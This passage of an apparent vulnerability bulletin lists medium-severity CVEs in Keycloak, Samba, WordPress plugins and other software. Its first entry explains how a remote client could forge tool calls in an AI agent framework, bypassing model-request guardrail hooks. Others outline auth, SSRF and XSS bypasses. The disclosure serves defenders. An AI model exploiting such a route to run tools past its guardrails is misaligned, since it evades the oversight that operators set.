|-------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                               | that prevents the agent from executing tool calls the model never emitted. However, the strip anchored to a message index computed before sanitization ran, so when a trailing client message sanitized to empty and was dropped (for example a client system message under the default manage_system_prompt='server'), a preceding assistant response carrying an unresolved tool call became the new tail and was dispatched without inspection. As a result, a remote client could cause a registered, non-approval server tool to run with client-supplied arguments rather than arguments the model produced. The impact is bounded by what the affected tools do and is most significant for applications that gate tool execution in a model-request hook (before_model_request / after_model_request), since a forged call skips the model turn and bypasses that guardrail; approval-gated tools (requires_approval=True) are not auto-executed by this path. This issue has been fixed in versions 1.107.1 and 2.5.0. |            |            |                                |
| quantumcloud--WPBot AI ChatBot for Live Support, Lead Generation, AI Services | The WPBot - AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 8.5.9 via the wpbot_send_email_transcript_free. This makes it possible for unauthenticated attackers to exfiltrate full chat transcripts and associated user PII - including names, email addresses, and phone numbers - stored in the wpbot_user and wpbot_conversation tables to an attacker-controlled email address.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 5.3        | <a href="#">CVE-2026-16773</a> |
| quantumcloud--WPBot AI ChatBot for Live Support, Lead Generation, AI Services | The Chatbot plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 8.5.9 via the wpcs_send_email() AJAX handler. This is due to the wpcs_send_email() function being registered on both wp_ajax_wpcs_send_email and wp_ajax_nopriv_wpcs_send_email with no nonce verification, capability check, or rate limiting, while forwarding attacker-controlled recipient, subject, and body directly to wp_mail(). This makes it possible for unauthenticated attackers to send arbitrary emails to any recipient from the site's domain, enabling spam, phishing, and abuse that can lead to the site's IP/domain being blacklisted.                                                                                                                                                                                                                                                                                                                                                           | 2026-07-28 | 5.3        | <a href="#">CVE-2026-16774</a> |
| Red Hat--Cost Management Metrics Operator                                     | A flaw was found in koku-metrics-operator. The operator's CostManagementMetricsConfig custom resource allows a user able to edit the CR to specify an arbitrary OAuth token endpoint. When authentication.type is set to service-account, the operator sends the tenant's Red Hat SSO client_id and client_secret to this user-controlled URL, allowing the attacker to obtain the credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 6.8        | <a href="#">CVE-2026-18382</a> |
| Red Hat--Red Hat Build of Keycloak                                            | A flaw was found in the group policy evaluation logic of Keycloak, an identity and access management solution. When a group policy is set to extend permissions to child groups, the system incorrectly uses a simple text-based prefix check to verify group membership. This allows a user who belongs to a different group with a similar starting name to bypass security checks and gain unauthorized access to administrative functions or protected resources.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-31 | 6.5        | <a href="#">CVE-2026-18203</a> |
| Red Hat--Red Hat Build of Keycloak                                            | A flaw was found in the client policy enforcement mechanism of Keycloak. The issue occurs when the system checks group membership by name instead of a unique identifier. An attacker with client management privileges could bypass security policies by joining a group with a matching name in a different part of the group hierarchy, potentially allowing them to register or update clients without following required security hardening profiles.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-29 | 6.5        | <a href="#">CVE-2026-18207</a> |
| Red Hat--Red Hat Build of Keycloak                                            | A flaw was found in the OIDC token introspection endpoint of the keycloak-services component. Keycloak is an open-source identity and access management solution used to secure modern applications and services. The issue occurs when a confidential client, configured to receive signed JWT introspection responses, attempts to introspect a token issued for a different audience. Although the endpoint correctly identifies the token as inactive for that client, it still returns the full set of token claims within a signed JWT field. This allows an unauthorized client                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-31 | 6.5        | <a href="#">CVE-2026-18208</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | to bypass audience-based restrictions and access sensitive information contained in the token.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| Red Hat--Red Hat Build of Keycloak | Keycloak allows users to log in using Google accounts and can be configured to only allow users from specific Google Workspace domains. A flaw was found where the token exchange feature, which allows swapping a Google token for a Keycloak token, does not check these domain restrictions. This means an attacker with a valid Google account from a different domain could bypass the security check and gain access to the Keycloak realm.                                                                                                                                                                                                                                | 2026-07-31 | 6.8        | <a href="#">CVE-2026-18214</a> |
| Red Hat--Red Hat Build of Keycloak | Keycloak provides a way to let users log in using Microsoft accounts while restricting access to a specific organization (tenant). A flaw was discovered where this restriction is ignored when using the token exchange feature. This means an attacker with a valid Microsoft token from a completely different organization could gain access to the Keycloak realm, potentially accessing sensitive data or performing unauthorized actions.                                                                                                                                                                                                                                 | 2026-07-31 | 6.8        | <a href="#">CVE-2026-18215</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the user creation component of Keycloak when Fine-Grained Admin Permissions V2 (FGAP V2) is enabled. This issue allows a sub-administrator with permission to create users to add those users to any group, even groups the sub-administrator is not authorized to manage. This could lead to unauthorized access to sensitive information or elevated privileges for the newly created users.                                                                                                                                                                                                                                                               | 2026-08-02 | 6.6        | <a href="#">CVE-2026-18571</a> |
| Red Hat--Red Hat Build of Keycloak | Keycloak provides authorization services that allow administrators to restrict access to resources based on time policies (for example, only allowing access during business hours). A flaw was discovered where a user can include a fake time value in their authorization request that overrides the actual server time. This allows the user to bypass these time-based restrictions and access protected resources at unauthorized times.                                                                                                                                                                                                                                   | 2026-08-02 | 6.5        | <a href="#">CVE-2026-18572</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the keycloak-services component of Keycloak, which is used for managing authentication and authorization flows. The issue occurs when a realm administrator configures client policies to enforce specific authentication requirements on confidential clients. Due to improper evaluation of the client state during an update operation, an attacker with client management permissions can bypass these security policies by first creating a public client and then updating it to a confidential client with weaker authentication. This can result in the persistence of clients that do not comply with the intended security hardening of the realm. | 2026-08-02 | 6.5        | <a href="#">CVE-2026-18573</a> |
| Red Hat--Red Hat Build of Keycloak | Keycloak provides a way to manage identity providers and organizations through its administrative API. A flaw was discovered where an administrator with permission to manage identity providers could link a new provider to an organization without having the required permissions to manage that organization. This could allow an unauthorized administrator to influence how users log into specific organizations.                                                                                                                                                                                                                                                        | 2026-07-29 | 5.5        | <a href="#">CVE-2026-18201</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the full-scope-disabled client-policy executor within the keycloak-services component. This component is responsible for enforcing security policies during client registration and configuration in Red Hat Build of Keycloak. The issue occurs because the executor only validates the fullScopeAllowed field when it is explicitly provided in a request. By omitting this field, a delegated user can bypass the policy, resulting in a client created with full scope access. This allows the client to obtain tokens with unauthorized role mappings.                                                                                                  | 2026-08-02 | 5.4        | <a href="#">CVE-2026-18570</a> |
| Red Hat--Red Hat Build of Keycloak | A flaw was found in the RoleContainerResource component of Keycloak. The issue occurs because certain name-based endpoints in the admin REST API do not properly enforce authorization checks when managing composite roles. This allows a delegated administrator with manage-realm permissions to remove essential child roles from built-in admin roles, potentially disrupting administrative functions within a realm.                                                                                                                                                                                                                                                      | 2026-07-31 | 4.9        | <a href="#">CVE-2026-16105</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Red Hat--Red Hat Build of Keycloak     | A flaw was found in the secure-client-uris client policy executor within Keycloak core services. This component is responsible for enforcing security requirements on client configurations, such as requiring encrypted connections for redirect URIs. Due to an improper check that only looks at the start of a web address rather than properly verifying the host, an attacker can bypass these security restrictions by using a specially crafted domain name. This could allow an attacker to intercept sensitive authentication codes over unencrypted connections.                                                                                                                                        | 2026-07-31 | 4.2        | <a href="#">CVE-2026-18211</a> |
| Red Hat--Red Hat Build of Keycloak     | A flaw was found in the TokenManager component of the Keycloak identity management service. When an administrator attempts to revoke tokens for a specific application (client) using a "not-before" policy, the revocation may be silently ignored if the overall security realm already has an older, non-zero revocation policy in place. This issue can allow previously issued tokens to remain valid for refreshing sessions and accessing user information even after an administrator has attempted to invalidate them.                                                                                                                                                                                    | 2026-07-31 | 4.2        | <a href="#">CVE-2026-18218</a> |
| Red Hat--Red Hat Certificate System 10 | A flaw was found in Dogtag PKI's ACME responder where the web.xml security constraints use exact URL pattern matching for admin-only enable/disable endpoints. By appending a trailing slash to the URL, an unauthenticated attacker can bypass the Tomcat authentication constraint while RESTEasy still routes the request to the handler, allowing unauthorized toggling of the ACME service state including persistent denial of service.                                                                                                                                                                                                                                                                      | 2026-07-28 | 6.5        | <a href="#">CVE-2026-18047</a> |
| Red Hat--Red Hat Certificate System 10 | A flaw was found in Dogtag PKI's ACME responder where the HTTP-01 challenge validator accepts IP address literals as dns identifiers and follows HTTP redirects without validating that the target is a public address. An unauthenticated ACME account holder can exploit this to perform server-side request forgery (SSRF), making the Dogtag server send HTTP GET requests to internal network services. With the InMemory database backend, the response body of internal targets is disclosed to the attacker through the ACME challenge error.                                                                                                                                                              | 2026-07-30 | 5.8        | <a href="#">CVE-2026-18369</a> |
| Red Hat--Red Hat Enterprise Linux 10   | A flaw was found in the PCP (Performance Co-Pilot) `pmproxy` service. A remote attacker can exploit a vulnerability in the `pmLogLoadInDom()` function by sending a specially crafted request. This bypasses a critical bounds check, which can lead to the `pmproxy` service crashing, causing a Denial of Service (DoS). Additionally, this flaw may enable the leakage of sensitive information from the system's memory.                                                                                                                                                                                                                                                                                       | 2026-07-30 | 6.5        | <a href="#">CVE-2026-16530</a> |
| Red Hat--Red Hat Enterprise Linux 10   | A flaw was found in ansible-collection-redhat-leapp. An attacker with privileged write access to a managed node's Leapp report content can manipulate it. When an operator runs a specific remediation task, this manipulated report can cause the Ansible controller to read its own local files and copy them to the managed node. This vulnerability leads to information disclosure, potentially exposing sensitive controller-side data such as private keys or credentials.                                                                                                                                                                                                                                  | 2026-07-30 | 6.2        | <a href="#">CVE-2026-68562</a> |
| Red Hat--Red Hat Enterprise Linux 10   | An unauthenticated remote attacker can exploit a path traversal vulnerability in the PCP pmproxy logger servlet using a crafted hostname. This allows arbitrary file and directory creation, potentially leading to a denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 5.3        | <a href="#">CVE-2026-16531</a> |
| Red Hat--Red Hat Enterprise Linux 10   | An out-of-bounds read flaw was found in Samba's Kerberos Key Distribution Center's (KDC) password change (kpasswd) service. When processing malformed ASN.1-encoded Kerberos password change request, Samba server miscalculates the structure size and attempts to read up to six bytes beyond the end of the allocated buffer. While this out-of-bounds read typically results in a harmless decryption failure, if the read hits unmapped memory, it causes the KDC process to crash. An authenticated attacker can send a specially crafted kpasswd request containing malformed ASN.1 data to trigger the out-of-bounds read, which may cause the KDC process to terminate, resulting in a denial of service. | 2026-07-30 | 5.3        | <a href="#">CVE-2026-58216</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Red Hat--Red Hat Enterprise Linux 10                                                               | A flaw was found in Samba's internal DNS server where unauthenticated TKEY registration requests were added to the TKEY name cache before being rejected. A remote, unauthenticated attacker can exploit this behavior by sending a large number of TKEY requests with arbitrary names, exhausting the cache and evicting legitimate TKEY entries. This can prevent legitimate TSIG authentication for signed DNS queries, resulting in a denial of service.                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 5.3        | <a href="#">CVE-2026-58218</a> |
| Red Hat--Red Hat Enterprise Linux 10                                                               | A flaw was found in ansible-collection-redhat-leapp. When a remediation task is executed with elevated privileges and the `leapp_old_postgresql_data` option is selected, a PostgreSQL data backup archive is created with insecure permissions. This allows a local non-root user on the managed node to read sensitive archived PostgreSQL data, leading to information disclosure.                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 5.5        | <a href="#">CVE-2026-68563</a> |
| Red Hat--Red Hat Hardened Images                                                                   | A flaw was found in the GNU Binutils (Binary Utilities) linker. This vulnerability, a heap-buffer-overflow read (CWE-125), occurs when the linker processes a specially crafted 32-bit XCOFF (Extended Common Object File Format) object file. An attacker could exploit this by providing a malicious file, leading to an out-of-bounds read of memory. This can result in information disclosure, potentially revealing sensitive heap data, and a Denial of Service (DoS) due to the linker crashing.                                                                                                                                                                                                                                                                                   | 2026-07-27 | 5.6        | <a href="#">CVE-2026-15003</a> |
| remix-run--react-router                                                                            | React Router is a router for React. In versions 6.4.0 through 7.17.0, if application code was written in a way that allows attacker-supplied input to overwrite certain aspects of errors caught by the SSR process, then it was possible for an attacker to trigger unexpected constructor execution on the client, which would in turn trigger an outbound network request. This is only possible with very specific (and unlikely) application-layer code. Note that this does not impact an application if it is using Declarative Mode. It only impacts Framework Mode and Data Mode applications that perform manual SSR/hydration. This issue has been fixed in version 7.18.0.                                                                                                     | 2026-07-27 | 6.1        | <a href="#">CVE-2026-53666</a> |
| remix-run--react-router                                                                            | React Router is a router for React. In versions 7.11.0 through 7.17.0, the RSCErrorHandler is missing protocol validation, allowing for redirects from untrusted sources. This issue is a follow up to CVE-2026-53667, and only affects consuming applications if they are using the unstable RSC APIs. This issue has been fixed in version 7.18.0.                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 6.9        | <a href="#">CVE-2026-53667</a> |
| remix-run--react-router                                                                            | React Router is a router for React. In versions 6.30.2 through 6.30.4 and 7.9.6 through 7.12.0, applications that allow open redirects are vulnerable to XSS. An attacker could craft a malicious link that redirects users to an unexpected external site or that exploits an XSS vector. This issue has been fixed in version 7.13.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-27 | 6.9        | <a href="#">CVE-2026-53668</a> |
| Roxnor--FundEngine                                                                                 | Subscriber Broken Access Control in FundEngine <= 1.7.8 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 6.5        | <a href="#">CVE-2026-59560</a> |
| rubengc--GamiPress Gamification plugin to reward points, achievements, badges & ranks in WordPress | The GamiPress - Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'heading_size' Shortcode Attribute in all versions up to, and including, 7.9.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The wp_kses_post filter applied at post save does not neutralize this payload because only the inert shortcode text is stored in post_content; the dangerous HTML is synthesized at render time by the shortcode handler, entirely bypassing save-time sanitization. | 2026-07-28 | 6.4        | <a href="#">CVE-2026-15730</a> |
| rubengc--GamiPress Gamification plugin to reward points, achievements,                             | The GamiPress - Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'heading_size' Shortcode Attribute in 'gamiPress_achievement' in all versions up to, and including, 7.9.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. WordPress save-time                                                                                                                                                                                                                       | 2026-08-01 | 6.4        | <a href="#">CVE-2026-16090</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| badges & ranks in WordPress                                                                             | wp_kses_post does not neutralize this payload because the injected value is stored inside a shortcode attribute rather than as a raw HTML tag, and is only emitted into HTML at render time without escaping.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| rubengc--GamiPress Gamification plugin to reward points, achievements, badges & ranks in WordPress      | The GamiPress - Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gamipress_rank' Shortcode in all versions up to, and including, 7.9.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                            | 2026-08-01 | 6.4        | <a href="#">CVE-2026-16091</a> |
| s9y--Serendipity                                                                                        | Serendipity before 2.6.1 contains an open redirect vulnerability in exit.php that allows unauthenticated attackers to redirect users to arbitrary external sites by supplying a malicious Base64-encoded url parameter when the Track Exits plugin is configured with commentredirection set to s9y. Attackers can craft trusted-looking URLs leveraging the legitimate blog domain to conduct phishing, deliver malware, or bypass URL reputation filters.                                                                                                                                                                                                                                                                                                                                  | 2026-07-31 | 4.3        | <a href="#">CVE-2026-67350</a> |
| saadiqbal--Gutena Forms Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder | The Gutena Forms - Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.9.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the read/unread status of or permanently trash arbitrary form submission entries belonging to any form. The nonce issued by check_ajax_referer() does not function as an authorization barrier because the nonce action 'gutena_Forms' is emitted to unauthenticated visitors via wp_localize_script() on any public page that contains a Gutena Forms block, making it freely obtainable by anonymous attackers. | 2026-08-01 | 5.3        | <a href="#">CVE-2026-11995</a> |
| SAP_SE--SAP NetWeaver Application Server for ABAP                                                       | SAP NetWeaver Application Server for ABAP and ABAP Platform writes sensitive session identifier information into a diagnostic trace when the trace is activated by a privileged user. An attacker with access to the resulting trace data could obtain identifiers that allow impersonation of legitimate users during their validity period. This leads to high impact on confidentiality. Integrity and availability are not impacted.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-28 | 4.3        | <a href="#">CVE-2026-58246</a> |
| Sayontan Sinha--Photonic Gallery & Lightbox for Flickr, SmugMug & Others                                | Contributor Cross Site Scripting (XSS) in Photonic Gallery & Lightbox for Flickr, SmugMug & Others <= 3.33 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66434</a> |
| sdelements--lets-chat                                                                                   | Let's Chat 0.4.0 through 0.4.8 contains a null dereference vulnerability that allows authenticated attackers to crash the server by supplying a valid 24-character hex string room parameter that matches no document in the database. Attackers can send a crafted GET /messages request causing an uncaught TypeError in an asynchronous Mongoose callback that terminates the Node.js server process, with the same defect reachable through multiple code paths including the socket.io interface.                                                                                                                                                                                                                                                                                       | 2026-07-28 | 6.5        | <a href="#">CVE-2026-66749</a> |
| sdelements--lets-chat                                                                                   | Let's Chat 0.3.0 through 0.4.8 contains an improper authorization vulnerability that allows any authenticated user to archive any room on the server by sending a DELETE request to the rooms handler without ownership verification. Attackers can enumerate room IDs via the rooms listing endpoint and permanently archive private or password-protected rooms they cannot access, with no application-level recovery path requiring direct database intervention to restore.                                                                                                                                                                                                                                                                                                             | 2026-07-28 | 5.4        | <a href="#">CVE-2026-66751</a> |
| sdelements--lets-chat                                                                                   | Let's Chat 0.3.0 through 0.4.8 contains a broken access control vulnerability that allows authenticated attackers to download file attachments from private and                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 4.3        | <a href="#">CVE-2026-66750</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                        | password-protected rooms they are not a member of by exploiting missing room membership checks in the file retrieval route. Attackers can enumerate adjacent MongoDB ObjectIds derived from a known file ID to recover files uploaded by other users, as the GET /files/:id/:name route in app/controllers/files.js only enforces login authentication without consulting room membership or the Room.canJoin check.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| sendpulse--<br>SendPulse Email Marketing Newsletter                    | The SendPulse Email Marketing Newsletter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via _sp_form_code Post Meta in all versions up to, and including, 2.2.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the attacker to create a sendpulse_form post containing a benign SendPulse loader script tag alongside arbitrary HTML (e.g., an img onerror payload), which bypasses the allow-list check and executes in the browser of any user - including administrators - who previews or views a page rendering the [sendpulse-form] shortcode.                                                                                                                  | 2026-08-01 | 6.4        | <a href="#">CVE-2026-13362</a> |
| ShapedPlugin LLC--<br>Location Weather                                 | Contributor Cross Site Scripting (XSS) in Location Weather <= 3.0.6 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66433</a> |
| Shufflehound--<br>Gillion                                              | Unauthenticated Broken Access Control in Gillion <= 4.13 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-27 | 5.3        | <a href="#">CVE-2026-66477</a> |
| softaculous--<br>SpeedyCache Cache, Optimization, Performance          | The SpeedyCache plugin for WordPress is vulnerable to Arbitrary File Read via Path Traversal in all versions up to, and including, 1.3.8. This is due to a mismatch between CSS URL validation (which allows query strings like '.css?...') and path resolution (which strips query strings), combined with no validation that the resolved file is actually a CSS file. This makes it possible for authenticated attackers, with Administrator-level access and above, to read arbitrary files from the server (including 'wp-config.php' and '/etc/passwd') by injecting crafted '<link>' tags into page content, with the file contents written to publicly accessible cache files.                                                                                                                                                                                                                                         | 2026-07-28 | 4.9        | <a href="#">CVE-2026-5114</a>  |
| Spring--Spring<br>Tools for Eclipse                                    | Spring Tools for Eclipse stores the Spring Boot DevTools remote secret (spring.devtools.remote.secret) as a plain string attribute on the "Spring Boot DevTools Client" launch configuration. Eclipse persists launch configuration attributes as cleartext XML, either to workspace metadata or, if the user marks the configuration as a shared file, directly into the project tree where it can be committed to version control. This secret is the sole credential protecting the DevTools remote restart/reload endpoint, which accepts and executes arbitrary class bytes on the target application. Anyone able to read the .launch file (via filesystem access, a workspace backup, or a shared VCS repository) can extract the secret and use it to achieve remote code execution against the associated Spring Boot application. Affected Spring Products and Versions: Spring Tools for Eclipse: 5.2.0 and earlier | 2026-07-30 | 4.4        | <a href="#">CVE-2026-59327</a> |
| Spring--Spring<br>Tools for Eclipse                                    | Spring Tools for Eclipse renders Spring Boot starter wizard dependency tooltips in a native embedded browser (SWT Browser) with JavaScript enabled. Using untrusted and compromised Initializr endpoints for the Spring Boot starter wizard can result in arbitrary script execution inside the embedded browser when a developer hovers a dependency checkbox in the New Spring Starter Project wizard. Impact is limited to in-IDE UI spoofing and outbound network beaconing rather than full code execution. Affected Spring Products and Versions: Spring Tools for Eclipse: 5.2.0 and earlier                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 4.2        | <a href="#">CVE-2026-59328</a> |
| stellarwp--Kadence<br>Blocks Page Builder Toolkit for Gutenberg Editor | The Kadence Blocks - Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Identity Block Inner Image Content in all versions up to, and including, 3.7.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-08-01 | 6.4        | <a href="#">CVE-2026-18062</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                    | vulnerability is only triggerable when the block's urlTransparent attribute is set to a non-empty value, as this is a required precondition for the vulnerable code path in build_html() to be reached.                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| stellarwp--Kadence Blocks Page Builder Toolkit for Gutenberg Editor                                | The Kadence Blocks - Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'toggleIcon' Block Attribute in all versions up to, and including, 3.7.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                         | 2026-08-01 | 6.4        | <a href="#">CVE-2026-18435</a> |
| stiofansisland--Payment forms, Buy now buttons, and Invoicing System   GetPaid                     | The Payment forms, Buy now buttons, and Invoicing System   GetPaid plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.8.56 via the getpaid_payment_form_element function. This makes it possible for authenticated attackers, with administrator-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. | 2026-08-01 | 6.6        | <a href="#">CVE-2026-17605</a> |
| strangerstudios--Paid Memberships Pro Content Restriction, User Registration, & Paid Subscriptions | The Paid Memberships Pro - Content Restriction, User Registration, & Paid Subscriptions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Readonly User Field via [pmpo_member_profile_edit] Shortcode in all versions up to, and including, 3.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                 | 2026-07-28 | 6.4        | <a href="#">CVE-2026-15016</a> |
| stylemix--MasterStudy LMS WordPress Plugin for Online Courses and Education                        | The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.7.14. This is due to the `stm_lms_delete_cover()` function lacking ownership validation on the `file_id` parameter before passing it to `wp_delete_attachment()`. This makes it possible for authenticated attackers, with Instructor-level access and above, to delete arbitrary attachments belonging to any user by enumerating sequential attachment IDs.                                                 | 2026-07-29 | 6.5        | <a href="#">CVE-2026-5060</a>  |
| StylemixThemes--MasterStudy LMS                                                                    | Insufficient Verification of Data Authenticity vulnerability in StylemixThemes MasterStudy LMS allows Manipulating User State. This issue affects MasterStudy LMS: from n/a through 3.7.39.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-31 | 5.3        | <a href="#">CVE-2026-28145</a> |
| superplanehq--superplane                                                                           | SuperPlane before 0.30.0 contains an SMTP header injection vulnerability that allows unauthenticated attackers to inject arbitrary SMTP headers by including CRLF sequences in the event payload title field delivered via webhook. Attackers can manipulate the unsanitized title field passed to the SMTP DATA command to add Bcc recipients for content exfiltration, forge the From address to bypass SPF and DKIM checks, or inject Content-Type and MIME boundary headers to corrupt message bodies for phishing.                                                                              | 2026-07-28 | 5.4        | <a href="#">CVE-2026-57511</a> |
| svarshavchik--Courier IMAP                                                                         | Courier IMAP before 6.0.1 and Courier Mail Server before 2.0.2 allow authenticated IMAP users to crash the imapd process via deeply nested parenthesized SEARCH queries. The SEARCH command parser (alloc_search_key in searchinfo.C) recursively descends on nested parenthesized groups through a mutual recursion chain with alloc_search_andlist() and alloc_search_notkey(), with no depth limit. Courier IMAP has no overall command line length limit, making exploitation trivial. A single IMAP command with ~2500 nested parentheses overflows the 8MB default stack, causing SIGSEGV.     | 2026-07-29 | 6.5        | <a href="#">CVE-2026-67194</a> |
| Syed Balkhi--Easy Digital Downloads                                                                | Administrator Arbitrary File Deletion in Easy Digital Downloads <= 3.6.9 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-27 | 4.9        | <a href="#">CVE-2026-66476</a> |

## Medium Vulnerabilities

